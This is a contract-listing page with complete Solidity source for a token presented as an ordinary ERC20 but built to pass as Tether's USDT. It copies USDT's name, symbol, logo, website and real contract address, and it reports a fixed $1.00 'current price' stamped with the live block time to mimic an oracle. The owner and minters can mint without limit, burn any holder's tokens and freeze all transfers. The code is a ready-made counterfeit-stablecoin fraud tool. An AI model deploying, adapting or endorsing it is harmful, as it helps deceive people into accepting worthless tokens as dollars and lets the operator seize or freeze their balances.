Description:
ERC20 token contract with Mintable, Burnable capabilities. Standard implementation for fungible tokens on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
/**
* @title USDT Extension - Complete Implementation
* @dev 1 Billion initial supply, fully functional USDT extension
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract USDT is IERC20 {
// ERC20 Storage
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
// Token Metadata
string private constant _name = "Tether USD";
string private constant _symbol = "USDT";
uint8 private constant _decimals = 6;
// Branding
string private constant _logoURI = "https://coin-images.coingecko.com/coins/images/325/large/Tether.png";
string private constant _description = "Tether USD (USDT) is a stablecoin pegged to the US Dollar";
string private constant _website = "https://tether.to";
// Price
int256 public constant PRICE = 100000000; // $1.00 with 8 decimals
// Access Control
address public owner;
mapping(address => bool) public minters;
// Supply Tracking
uint256 public initialSupply;
uint256 public additionalSupply;
// Settings
bool public paused = false;
string public logoOverride;
// Original USDT Reference
address public constant ORIGINAL_USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
// Events
event SupplyExpanded(address indexed to, uint256 amount);
event MinterAdded(address indexed minter);
event MinterRemoved(address indexed minter);
modifier onlyOwner() {
require(msg.sender == owner, "Only owner");
_;
}
modifier onlyMinter() {
require(minters[msg.sender] || msg.sender == owner, "Only minter");
_;
}
constructor(uint256 _initialSupply) {
owner = msg.sender;
uint256 supply = _initialSupply * 10**6; // 6 decimals
_totalSupply = supply;
_balances[msg.sender] = supply;
initialSupply = supply;
emit Transfer(address(0), msg.sender, supply);
}
// ============ IERC20 IMPLEMENTATION ============
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public override returns (bool) {
require(!paused, "Paused");
_transfer(msg.sender, to, amount);
return true;
}
function allowance(address tokenOwner, address spender) public view override returns (uint256) {
return _allowances[tokenOwner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
require(!paused, "Paused");
_spendAllowance(from, msg.sender, amount);
_transfer(from, to, amount);
return true;
}
// ============ BRANDING ============
function logoURI() public view returns (string memory) {
if (bytes(logoOverride).length > 0) {
return logoOverride;
}
return _logoURI;
}
function description() public pure returns (string memory) {
return _description;
}
function website() public pure returns (string memory) {
return _website;
}
// ============ MINTING ============
function mint(address to, uint256 amount) external onlyMinter {
require(to != address(0), "Zero address");
_totalSupply += amount;
_balances[to] += amount;
additionalSupply += amount;
emit Transfer(address(0), to, amount);
emit SupplyExpanded(to, amount);
}
function mintUSDT(address to, uint256 usdtAmount) external onlyMinter {
require(to != address(0), "Zero address");
uint256 amount = usdtAmount * 10**6;
_totalSupply += amount;
_balances[to] += amount;
additionalSupply += amount;
emit Transfer(address(0), to, amount);
emit SupplyExpanded(to, amount);
}
function batchMintUSDT(address[] calldata recipients, uint256[] calldata amounts) external onlyMinter {
require(recipients.length == amounts.length, "Length mismatch");
for(uint i = 0; i < recipients.length; i++) {
require(recipients[i] != address(0), "Zero address");
uint256 amount = amounts[i] * 10**6;
_totalSupply += amount;
_balances[recipients[i]] += amount;
additionalSupply += amount;
emit Transfer(address(0), recipients[i], amount);
emit SupplyExpanded(recipients[i], amount);
}
}
function burn(address from, uint256 amount) external onlyMinter {
require(_balances[from] >= amount, "Insufficient balance");
_balances[from] -= amount;
_totalSupply -= amount;
if(amount <= additionalSupply) {
additionalSupply -= amount;
}
emit Transfer(from, address(0), amount);
}
// ============ PRICE ============
function getCurrentPrice() external view returns (int256 currentPrice, uint256 updatedAt) {
return (PRICE, block.timestamp);
}
function getUSDPrice() external pure returns (uint256) {
return uint256(PRICE);
}
// ============ ACCESS CONTROL ============
function addMinter(address minter) external onlyOwner {
require(minter != address(0), "Zero address");
minters[minter] = true;
emit MinterAdded(minter);
}
function removeMinter(address minter) external onlyOwner {
minters[minter] = false;
emit MinterRemoved(minter);
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "Zero address");
owner = newOwner;
}
function setPaused(bool _paused) external onlyOwner {
paused = _paused;
}
function setCustomLogo(string calldata newLogoURI) external onlyOwner {
logoOverride = newLogoURI;
}
// ============ INTERNAL FUNCTIONS ============
function _transfer(address from, address to, uint256 amount) internal {
require(from != address(0), "From zero address");
require(to != address(0), "To zero address");
require(_balances[from] >= amount, "Insufficient balance");
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function _approve(address tokenOwner, address spender, uint256 amount) internal {
require(tokenOwner != address(0), "Approve from zero");
require(spender != address(0), "Approve to zero");
_allowances[tokenOwner][spender] = amount;
emit Approval(tokenOwner, spender, amount);
}
function _spendAllowance(address tokenOwner, address spender, uint256 amount) internal {
uint256 currentAllowance = _allowances[tokenOwner][spender];
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "Insufficient allowance");
_approve(tokenOwner, spender, currentAllowance - amount);
}
}
}
Submitted on: 2025-09-26 10:55:59
Comments
Log in to comment.
No comments yet.